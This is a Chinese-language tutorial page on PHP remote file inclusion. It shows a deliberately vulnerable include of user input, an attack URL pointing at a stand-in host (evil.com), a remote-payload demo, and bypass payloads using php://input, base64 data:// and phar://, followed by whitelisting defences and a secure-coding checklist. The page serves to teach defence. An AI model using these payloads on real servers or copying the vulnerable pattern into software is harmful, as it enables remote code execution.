首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 綜合知識

PHP 遠程文件包含漏洞深度解析與防禦實戰

     編輯:PHP 綜合知識

漏洞原理:當 include 遇上不可信輸入

以下代碼看似無害,實則藏著巨大風險:

<?php
$file_name = $_GET["filename"];
include("$file_name "); // 直接包含用戶指定文件
?>

攻擊者可構造 https://target.com/test.php?filename=https://evil.com/shell.txt,導致服務器執行遠程惡意腳本(注意:PHP 只取遠程腳本的輸出結果,而非源碼)。

攻擊演示:從信息洩露到遠程代碼執行

  1. 觸發錯誤洩露路徑:不帶參數訪問,PHP 報錯 Warning: include(.php) failed... 暴露絕對路徑與包含邏輯。
  2. 部署遠程 Payload:攻擊者在可控服務器放置 hello.txt,內容 <?php echo "hello world!"; ?>。
  3. 遠程包含執行:請求 ?filename=https://192.168.0.1/hello.txt,目標服務器輸出 hello world!,證明任意代碼執行成功。

防禦方案一:錯誤信息隱藏 + 白名單校驗

<?php
$file_name = $_GET["filename"];
// 禁止路徑穿越、限制後綴、白名單機制
$allowed = ['home', 'about', 'contact'];
if (!in_array($file_name, $allowed)) {
    die("頁面不存在");
}
include("$file_name.php");
?>

核心點:@include 抑制警告、die() 統一錯誤頁面、嚴格白名單 而非黑名單過濾。

防禦方案二:過濾路徑分隔符(治標不治本)

<?php
$file_name = str_replace('/', '', $_GET["filename"]); // 移除斜線
if (!@include("$file_name.php")) {
    die("頁面錯誤");
}
?>

此法可阻擋 https:// 協議頭,但無法防禦:php://input、data://、phar:// 等偽協議,也不防本地文件包含(LFI)。不建議作為唯一防線。

進階攻擊向量:繞過 allow_url_include=Off

即使關閉 allow_url_include,以下偽協議仍可利用:

  • php://input — 直接包含 POST 原始數據:include "php://input";
  • data:// — 包含 Base64 編碼 Payload:include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+";
  • phar:// — 利用 PHAR 反序列化鏈(需上傳惡意 PHAR 文件)

根本修復:禁用動態包含、採用路由分發、啟用 Suhosin/Hardening Patch、open_basedir 限制目錄。

安全編碼檢查清單

  1. ✅ 絕不直接 include/require $_GET/$_POST/$_REQUEST 變量
  2. ✅ 採用「控制器-動作」路由模式,文件名映射為白名單鍵值
  3. ✅ php.ini 設定:allow_url_include=Off、allow_url_fopen=Off(業務允許時再開)
  4. ✅ open_basedir 限制腳本只能訪問項目目錄
  5. ✅ 部署 WAF/ModSecurity 規則攔截偽協議特徵
  6. ✅ 定期掃描項目中的 include/require 動態調用點

結語

遠程文件包含(RFI)是 PHP 歷史上最經典、殺傷力最大的漏洞之一。徹底根治的關鍵在於架構層面杜絕動態包含,而非依賴配置開關或字串過濾。安全,始於設計。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved